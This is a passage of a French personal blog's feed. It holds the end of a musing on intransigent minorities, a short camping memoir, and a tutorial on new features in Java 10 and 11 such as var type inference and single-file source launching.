&lt;p&gt;Ce n&amp;rsquo;est donc pas toujours le choix majoritaire qui s&amp;rsquo;impose ni même le consensus. Il suffit d&amp;rsquo;une minorité (très) intransigeante pour qu&amp;rsquo;elle impose son point du vue. Ses choix. Si la majorité est souple, tolérante, accueillante, &lt;em&gt;bonne pâte&lt;/em&gt;, molle… la minorité pourra se montrer intransigeante et imposer son choix. Il s&amp;rsquo;agit d&amp;rsquo;une tendance, pas d&amp;rsquo;une règle. Cette tendance sera renforcée si la minorité atteint un certains nombre de personnes bien sûr et aussi si le coût — qu&amp;rsquo;il soit financier ou humain — est peu élevé. Si le poisson coûte moins cher que les saucisses, la majorité souple se posera beaucoup moins de questions.&lt;/p&gt;
&lt;p&gt;Si l&amp;rsquo;on pense au &lt;a href="https://fr.wikipedia.org/wiki/Paradoxe_de_la_tol%C3%A9rance"&gt;paradoxe de la tolérance&lt;/a&gt;, il est difficile de trouver le juste milieu entre avoir une tolérance « illimitée » et répondre à l&amp;rsquo;intolérance, en étant finalement plus intransigeant que la minorité intransigeante…&lt;/p&gt;
&lt;p&gt;Bonne réflexion…&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Ce post fait suite à une discussion de café avec un pote et à la lecture de &lt;a href="https://medium.com/incerto/the-most-intolerant-wins-the-dictatorship-of-the-small-minority-3f1f83ce4e15?#.r02304p5c"&gt;l&amp;rsquo;un&lt;/a&gt; ou &lt;a href="https://www.marianne.net/societe/la-fin-c-est-la-minorite-intolerante-qui-gagne-toujours"&gt;l&amp;rsquo;autre&lt;/a&gt; dans lesquels, je découvre que nous ne sommes pas les seuls à s&amp;rsquo;être fait cette réflexion. Évidemment. Internet est merveilleux.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Photo personnelle, un soir de camp. Cette photo pourrait me valoir les foudres d&amp;rsquo;une minorité intransigeante sur certains réseaux sociaux. Deux-mille-dix-neuf est-elle merveilleuse ?&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Les filles du camping</title><link href="http://blog.namok.be/2019-09-26-Les-filles-du-camping.html" rel="alternate"/><published>2019-09-26T00:00:00+02:00</published><updated>2019-09-26T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2019-09-26:/2019-09-26-Les-filles-du-camping.html</id><summary type="html">Les filles du camping</summary><content type="html">&lt;p&gt;&lt;img alt="" src="/images/edho-fitrah-ELevCx8PX4o-unsplash-cut.jpg"&gt;&lt;/p&gt;
&lt;p&gt;La voiture s&amp;rsquo;arrête et nous découvrons le camping. Papa et maman se sont relayés au volant de la voiture pour nous amener à bon port. Le camping a l&amp;rsquo;air sympa, il y a une plaine de jeux et une piscine naturelle. J&amp;rsquo;espère qu&amp;rsquo;elle ne sera pas trop froide.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai 14 ans. J&amp;rsquo;espère que je me ferai des amis et puis, tant qu&amp;rsquo;à faire, j&amp;rsquo;espère qu&amp;rsquo;il y aura des filles de mon âge.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;année dernière, dans notre camping du Jura, je trouvais la petite hollandaise de l&amp;rsquo;emplacement d&amp;rsquo;à côté très sympa… et très jolie. Il a fallu attendre la fin des vacances avant que l&amp;rsquo;on finnisse par s&amp;rsquo;embrasser. Un premier amour de vacances dont je vais me souvenir. Les hollandaises ne sont pas comme les françaises. Elles sont beaucoup plus jolies. Je découvrirai plus tard qu&amp;rsquo;il n&amp;rsquo;y a aucun lien entre la nationnalité et la beauté mais cette année là, personne n&amp;rsquo;aurait pu aller contre mes convictions.&lt;/p&gt;
&lt;p&gt;Ce qui est cool quand on est belge dans un camping en france, c&amp;rsquo;est que l&amp;rsquo;on parle un peu flamand tandis que les français non. On est alors les &lt;em&gt;rois du camping&lt;/em&gt; parce que l&amp;rsquo;on peut faire l&amp;rsquo;interprète entre les français et les hollandais. Par contre, pour les autres langues, c&amp;rsquo;est rapé.&lt;/p&gt;
&lt;p&gt;En vacances, on fait d&amp;rsquo;autres rencontres. Des rencontres un peu différentes. On cherche des personnes que l&amp;rsquo;on n&amp;rsquo;a pas l&amp;rsquo;habitude de rencontrer et on s&amp;rsquo;intéresse aux personnes du pays d&amp;rsquo;à côté. Obligatoirment mieux !&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://unsplash.com/"&gt;Unsplash&lt;/a&gt; par &lt;a href="https://unsplash.com/@dhofit?utm_source=unsplash&amp;amp;utm_medium=referral&amp;amp;utm_content=creditCopyText"&gt;Edho Fitrah&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>JDK10, 11 et 12, quelques nouveautés</title><link href="http://blog.namok.be/2019-04-06-JDK10-11-12.html" rel="alternate"/><published>2019-04-06T00:00:00+02:00</published><updated>2019-04-06T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2019-04-06:/2019-04-06-JDK10-11-12.html</id><summary type="html">JDK10, 11 et 12, quelques nouveautés</summary><content type="html">&lt;p&gt;&lt;img alt="20190103_111905.jpg" src="/images/20190103_111905.jpg" title="20190103_111905.jpg, avr. 2019"&gt;&lt;/p&gt;
&lt;p&gt;Depuis JDK9, Oracle change le cycle de sorties des différentes versions de Java. Alors qu&amp;rsquo;avant, une nouvelle version de Java sortait tous les 2, 3 ans, c&amp;rsquo;est maintenant tous les 6 mois qu&amp;rsquo;une nouvelle version sera disponible.&lt;/p&gt;
&lt;p&gt;Parmi ces version, certaines sont étiquetées &lt;em&gt;long term support&lt;/em&gt; (LTS) et sont supportées par Oracle plusieurs années tandis que, pour les autres, le support ne durera que 6 mois. Les « prochaines » versions LTS de Java sont la &lt;strong&gt;8&lt;/strong&gt; et la &lt;strong&gt;11&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Ce billet recense quelques nouveautés des versions 10, 11 et 12 de Java et ne sera pas exhaustif. Je ne m&amp;rsquo;intéresse qu&amp;rsquo;à quelques fonctionnalités visibles pour les développeurs et les développeuses. Mes sources principales sont les pages Oracle recensant les &lt;em&gt;JDK Enhanced Proposal&lt;/em&gt; (JEP).&lt;/p&gt;
&lt;h1&gt;JDK10&lt;/h1&gt;
&lt;p&gt;Cette version du JDK voit passer plusieurs améliorations du &lt;em&gt;garbage collecor&lt;/em&gt; (GC), par exemple du parallélisme &lt;a href="http://openjdk.java.net/jeps/307"&gt;JEP307&lt;/a&gt;, une amélioration du &lt;em&gt;class data sharing&lt;/em&gt; (CDS) introduit avec JDK5 &lt;a href="http://openjdk.java.net/jeps/301"&gt;JEP301&lt;/a&gt;,la possibilité d&amp;rsquo;allouer de la mémoire sur d&amp;rsquo;autres périphériques &lt;a href="http://openjdk.java.net/jeps/316"&gt;JEP316&lt;/a&gt;, des améliorations internes…&lt;/p&gt;
&lt;p&gt;Ce qui est le plus visible dans cette version 10, est l&amp;rsquo;inférence de type.&lt;/p&gt;
&lt;h2&gt;Inférence du type des variables locales&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Local-variable type inference&lt;/em&gt; &lt;a href="http://openjdk.java.net/jeps/286"&gt;JEP286&lt;/a&gt; étend l&amp;rsquo;inférence de type aux déclarations de variables locales avec initialiseurs, la variable d&amp;rsquo;un &lt;em&gt;enhanced for&lt;/em&gt; et les variables d&amp;rsquo;un &lt;em&gt;for&lt;/em&gt;. Le mot utilisé est &lt;strong&gt;&lt;em&gt;var&lt;/em&gt;&lt;/strong&gt;. Il n&amp;rsquo;est pas un mot-clé (&lt;em&gt;keyword&lt;/em&gt;) mais un nom de type réservé ce qui limitera l&amp;rsquo;impact de l&amp;rsquo;ajout sur les codes existants.&lt;/p&gt;
&lt;p&gt;Il est donc possible d&amp;rsquo;écrire :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Hello world&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ArrayList&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;heu&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;videos&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;stream&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getAuthor&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;distinct&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;count&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Dans le troisième exemple, l&amp;rsquo;on pourrait dire que &lt;code&gt;l&lt;/code&gt; devrait être une &lt;code&gt;List&amp;lt;String&amp;gt;&lt;/code&gt; et pas &lt;code&gt;ArrayList&amp;lt;String&amp;gt;&lt;/code&gt; mais dans le cas d&amp;rsquo;une variable locale, ça n&amp;rsquo;a pas d&amp;rsquo;importance. C&amp;rsquo;est important si c&amp;rsquo;est un paramètre ou un attribut. J&amp;rsquo;aime bien le quatrième exemple où l&amp;rsquo;on peut envisager que lorsque l&amp;rsquo;on commence à enchainer les appels de méthodes, on ne sache pas encore très bien quel sera le type « final ».&lt;/p&gt;
&lt;p&gt;Il est à noter que cela ne fonctionnera pas pour un tableau ou &lt;code&gt;null&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Certaines personnes ajoutent que &lt;code&gt;var&lt;/code&gt; amène une meilleur lisibilité de l&amp;rsquo;indentation (puisque le « type » fait toujours 3 lettres).&lt;/p&gt;
&lt;p&gt;Pour plus de détails, lire par exemple l&amp;rsquo;article de Nicolai Parlog chez &lt;a href="https://blog.codefx.org/java/java-10-var-type-inference/"&gt;codefx&lt;/a&gt;. Lire également les &lt;a href="http://openjdk.java.net/projects/amber/LVTIstyle.html"&gt;règles de bonnes pratiques&lt;/a&gt;.&lt;/p&gt;
&lt;h1&gt;JDK11&lt;/h1&gt;
&lt;p&gt;La version 11 apporte — à mon sens — deux changements visibles pour les développeurs &lt;em&gt;lambdas&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Local-variable syntax for lambda parameters&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;local-variable syntax for lambda parameters&lt;/em&gt; ajoute le mot clé &lt;code&gt;var&lt;/code&gt; aux lambdas. Là où l&amp;rsquo;on écrivait :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;process&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;on pourra écrire :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;process&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Cet ajout est principalement là dans un soucis d&amp;rsquo;uniformisation de la syntaxe &lt;a href="https://openjdk.java.net/jeps/323"&gt;JEP323&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Launch single-file source-code programs&lt;/h2&gt;
&lt;p&gt;Ça y est, Java n&amp;rsquo;est plus compilé et on peut écrire des scripts Java ! Carrément des &lt;strong&gt;&lt;em&gt;shebang files&lt;/em&gt;&lt;/strong&gt; &lt;a href="https://openjdk.java.net/jeps/330"&gt;JEP330&lt;/a&gt;. En fait, ce n&amp;rsquo;est pas vrai mais c&amp;rsquo;est proche.&lt;/p&gt;
&lt;p&gt;Pour rappel, le lanceur Java peut lancer un fichier &lt;code&gt;class&lt;/code&gt;, lancer la classe principale d&amp;rsquo;un fichier &lt;code&gt;jar&lt;/code&gt; ou encore lancer la classe principale d&amp;rsquo;un module. Aujourd&amp;rsquo;hui, il peut également lancer une classe déclarée dans un fichier source.&lt;/p&gt;
&lt;p&gt;On peut donc écrire :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Hello&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Hello &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;et exécuter le programme avec la commande suivante. Aucun fichier &lt;code&gt;.class&lt;/code&gt; n&amp;rsquo;est généré, le &lt;em&gt;bytecode&lt;/em&gt; se trouve en mémoire.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;java&lt;span class="w"&gt; &lt;/span&gt;Hello.java&lt;span class="w"&gt; &lt;/span&gt;Alice
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Si mon fichier ne respecte pas la convention de nommage java et s&amp;rsquo;appelle par exemple &lt;code&gt;hello&lt;/code&gt;, je peux écrire :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;java&lt;span class="w"&gt; &lt;/span&gt;--source&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;11&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;hello&lt;span class="w"&gt; &lt;/span&gt;Alice
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Il reste un pas à franchir pour écrire un script en Java. Allons-y. J&amp;rsquo;écris le code suivant dans un fichier nommé &lt;code&gt;hello&lt;/code&gt; et je rends le fichier exécutable.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="o"&gt;!/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;jvm&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;java&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;openjdk&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;amd64&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;java&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;source&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Hello&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Hello &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Je peux alors entrer la commande :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;./hello&lt;span class="w"&gt; &lt;/span&gt;Alice
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Dans les changements peu visibles pour les développeurs et développeuses, je note :&lt;/p&gt;
&lt;h4&gt;&lt;em&gt;nest-based access control&lt;/em&gt; &lt;a href="https://openjdk.java.net/jeps/181"&gt;JEP181&lt;/a&gt; concernant les classes internes.&lt;/h4&gt;
&lt;p&gt;Pour une classe &lt;code&gt;Outer&lt;/code&gt; et une classe interne &lt;code&gt;Inner&lt;/code&gt;, les &lt;em&gt;bytecodes&lt;/em&gt; générés dans &lt;code&gt;Outer.class&lt;/code&gt; et &lt;code&gt;Outer$Inner.class&lt;/code&gt; seront différents par rapport aux &lt;em&gt;bytecodes&lt;/em&gt; générés dans les versions antérieures de Java et le contrôle d&amp;rsquo;accès au code amélioré.&lt;/p&gt;
&lt;p&gt;Pour comprendre : la &lt;a href="https://openjdk.java.net/jeps/181"&gt;JEP181&lt;/a&gt;, un article de Ganesh Pagade &lt;a href="https://www.baeldung.com/java-nest-based-access-control"&gt;chez Baeldung&lt;/a&gt; et de Peter Verhas chez &lt;a href="https://dzone.com/articles/nesting-java-classes"&gt;dzone&lt;/a&gt;.&lt;/p&gt;
&lt;h4&gt;&lt;em&gt;dynamic class-file constants&lt;/em&gt; &lt;a href="https://openjdk.java.net/jeps/309"&gt;JEP309&lt;/a&gt; est complexe. Le but est d&amp;rsquo;étendre le &lt;em&gt;constant pool&lt;/em&gt; et d&amp;rsquo;y ajouter d&amp;rsquo;autres types de valeurs.&lt;/h4&gt;
&lt;p&gt;Actuellement, Java utilise une table contenant les constantes du programme, le (&lt;em&gt;constant pool&lt;/em&gt;). C&amp;rsquo;est assez facile à comprendre pour les types primitifs et les chaines (&lt;code&gt;String&lt;/code&gt;). C&amp;rsquo;est d&amp;rsquo;ailleurs pour ça que :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Marlène&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Marlène&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Au fil des versions de Java, d&amp;rsquo;autres valeurs ont été ajoutées à ce &lt;em&gt;constant pool&lt;/em&gt; comme les « littéraux de classes constants » (&lt;em&gt;class literal constants&lt;/em&gt;). Toutes les classes, les interfaces, les énumérations… sont des instances de &lt;code&gt;Class&lt;/code&gt; dans une application Java et &lt;code&gt;Class&lt;/code&gt; permet par exemple l&amp;rsquo;introspection :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;Class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Arrays&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getMethods&lt;/span&gt;&lt;span class="p"&gt;()));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;String.class&lt;/code&gt; est une instance de &lt;code&gt;Class&amp;lt;String&amp;gt;&lt;/code&gt; comme &lt;code&gt;"Hello world"&lt;/code&gt; est une instance de &lt;code&gt;String&lt;/code&gt;. &lt;code&gt;String.class&lt;/code&gt; est constant et se trouve dans le &lt;em&gt;constant pool&lt;/em&gt;.&lt;/p&gt;
